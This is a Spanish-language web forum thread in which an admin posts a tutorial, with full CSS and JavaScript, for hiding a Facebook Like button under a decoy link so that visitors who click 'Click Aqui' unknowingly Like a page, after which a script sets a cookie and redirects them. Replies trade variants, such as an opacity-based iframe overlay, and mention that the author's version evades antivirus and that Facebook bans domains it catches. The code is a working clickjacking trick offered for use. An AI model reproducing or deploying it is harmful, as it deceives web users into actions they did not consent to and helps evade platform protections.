Tutorial: Ocultar Like con CSS + Capturar Like con JS

  • Autor Autor Cicklow
  • Fecha de inicio Fecha de inicio

Cicklow

Admin
Épsilon
Verificado
Verificación en dos pasos activada
Verificado por Whatsapp
¡Ha verificado su Paypal!
Suscripción a IA
Buenas, en el tutorial anterior [ http://forobeta.com/tutoriales/251727-ocultar-like-css.html ] vimos como ocultar el like con solo CSS abajo de un link. Ahora lo que vamos a hacer es una ves que el usuario dio like, es redireccionar a otro lado o sacar el boton like!
Puntos nuevos en este hidelike
- Si el usuario ya ha echo like no aparece el like y deja solo el link
- Cuando el user da like, se redirecciona al link donde tiene que ir realmente



Código antes del </head>
HTML:
	<style>
	.wrapper a.facebook {
	    position: absolute;
	    padding:5px 46px 5px 15px; /*margenes para tapar el like!*/
	    margin:-8px 0 0 -100px; /*este editen para poner el link arriba del like!*/
	    pointer-events:none; /* este es el truco! */
	    -webkit-margin-before: -45px; /* fix para crhome */
	    -webkit-margin-start: -55px; /* fix para crhome */
	}
	a.hide {
	    background-color:#3c5a76; /*color de fondo del link (para tapar el like)*/
	    text-decoration:none;
	}
	a.show {
	    background-color: rgba(255,0,0,0.5);
	    text-decoration:none;
	}
	.wrapper {
		margin-top:20px;
	}
	</style>

Código despues de <body>
HTML:
        <script type="text/javascript">
	//Funcion encargada de verificar el like, ocultar el like, permitir clic en el link, colocar cookie y redireccionar
	function ver_like_ccw(url, html_element) {
		document.getElementById('sacame').style.display="none";
		document.getElementById('linkreal').style.pointerEvents = "auto";
		setCookie("yatacookie","1",100);
		document.location="http://www.google.com.ar"; //irme a donde!
	}
	//Funcion encargada de setear la cookie
	function setCookie(cname,cvalue,exdays){
		var d = new Date();
		d.setTime(d.getTime()+(exdays*24*60*60*1000));
		var expires = "expires="+d.toGMTString();
		document.cookie = cname + "=" + cvalue + "; " + expires;
	}
	//Funcion encargada de leer las cookies
	function getCookie(cname){
		var name = cname + "=";
		var ca = document.cookie.split(';');
		for(var i=0; i<ca.length; i++){
			var c = ca[i].trim();
			if (c.indexOf(name)==0) return c.substring(name.length,c.length);
		}
		return "";
	}
	</script>
HTML:
	<script type="text/javascript">
	//iniciamos la api de facebook
	window.fbAsyncInit = function () {
	        FB.init({
        	    appId: 'APP_ID', 
	            status: false,
        	    cookie: false, 
	            xfbml: true
        	});
		//Capturamos el evento like
		FB.Event.subscribe('edge.create', ver_like_ccw);
	};
	</script>
	<div id="fb-root"></div>
	<script>(function(d, s, id) {
	  var js, fjs = d.getElementsByTagName(s)[0];
	  if (d.getElementById(id)) return;
	  js = d.createElement(s); js.id = id;
	  js.src = "//connect.facebook.net/es_LA/all.js#xfbml=1&appId=APP_ID";
	  fjs.parentNode.insertBefore(js, fjs);
	}(document, 'script', 'facebook-jssdk'));</script>
Colocar este código después del boton like oculto:
HTML:
       <script type="text/javascript">
		//Verificamos el estado de la cookie, si esta en 1 ocultamos el like y permitimos clic en el link!
		if(getCookie("yatacookie")==1){
			document.getElementById('sacame').style.display="none";
			document.getElementById('linkreal').style.pointerEvents = "auto";
		}
        </script>

Como seria el boton like:
HTML:
<div class="wrapper"><div class="fb-like" data-href="https://forobeta.com" data-width="90" data-layout="button" data-action="like" data-show-faces="false" data-share="false" style="width:80px;overflow:hidden;" id="sacame"></div><a href="http://www.google.com.ar/" class="facebook hide" id="linkreal">Click Aqui</a></div>
Cambien google.com.ar por el sitio a donde ir dsp del like!

Demo: Auto Like v2

PD: Este hidelike no lo detecta ningun antivirus
PD: Solo coloco el tutorial de como hacerlo con facebook, cambiando la api de facebook por la de twitter o google pueden usar los g+ o los botones de tw!
PD: Si tienen problemas con tapar el boton like vean bien las coordenadas del (margin) link
PD: para obtener la app_id usan: https://developers.facebook.com/apps y solo ponen el nombre de la apps, y la url de su sitio!

Saludos!

NO citen el post, ya que si se hacen modificaciones dsp quedan pedazos en todo el post!​
 
Última edición:
Eres grande [MENTION=9679]cicklow[/MENTION]! Gracias por el nuevo aporte, vamos a testearlo :encouragement:
 
sos grande, sabelo 😉
 
En el test no me aparece nada no redirecciona, ni aparece como link. ¿sera un error de mi navegador?
 
En el test no me aparece nada no redirecciona, ni aparece como link. ¿sera un error de mi navegador?

a mi me funciona bien, el unico error que veo es que en chrome el link no tapa al like...
 
y si se le agrega el filtro opacity funcionará!!
 
El chrome, y maxthon

en chrome el CSS es distinto (las coordenadas) por eso no lo tapa al link... pero es raro... a mi en chrome al menos me aparece el like..(en ff me funciona bien)
 
en chrome el CSS es distinto (las coordenadas) por eso no lo tapa al link... pero es raro... a mi en chrome al menos me aparece el like..(en ff me funciona bien)
Problema solucionado... Era el avast que me bloqueaba los Me gusta
 
Última edición:
la mejor forma de ocultarlo es así

<span style='float:left;position:absolute;margin-top:150px;padding:0px 61px;height:20px;width:72px;overflow:hidden;border:none;filter:alpha(opacity=70);opacity:0.8'>
<iframe title='Entrar' allowTransparency='true' colorscheme='dark' expr:src='&quot;Facebook data😛ost.url + &quot;&amp;layout=button_count&amp;show_faces=false&amp;width=72&amp;action=like&amp;font=arial&amp;colorscheme=light&quot;' frameborder='0' scrolling='no' style='border:none; overflow:hidden; width:72px; height:21px;'/>
</span>

o es mala mi idea?....
 

facebook ya detecta si usas el opacity en sus like... por eso mucho no se usa porque face te banea el dominio... pero mientras funcione...
 
[MENTION=9679]cicklow[/MENTION] no puedes usar el -webkit- para el error de chrome
 
[MENTION=9679]cicklow[/MENTION] no puedes usar el -webkit- para el error de chrome

en un rato lo miro... ando editando otra cosa 🙂

---------- Post agregado el 28-ene-2014 hora: 02:12 ----------

[MENTION=9679]cicklow[/MENTION] no puedes usar el -webkit- para el error de chrome

isto 🙂
HTML:
	    -webkit-margin-before: -45px; /* fix para crhome */
	    -webkit-margin-start: -55px; /* fix para crhome */
 
Ok, usas firefox verdad? ahora esta el truco completo.. Funciona con Internet explorer?
 
y para agregarlo en blogger se podra?
espero tu respuesta 😛7:
pd: (ta linda tu firma parece un panda o koala)
 

Temas similares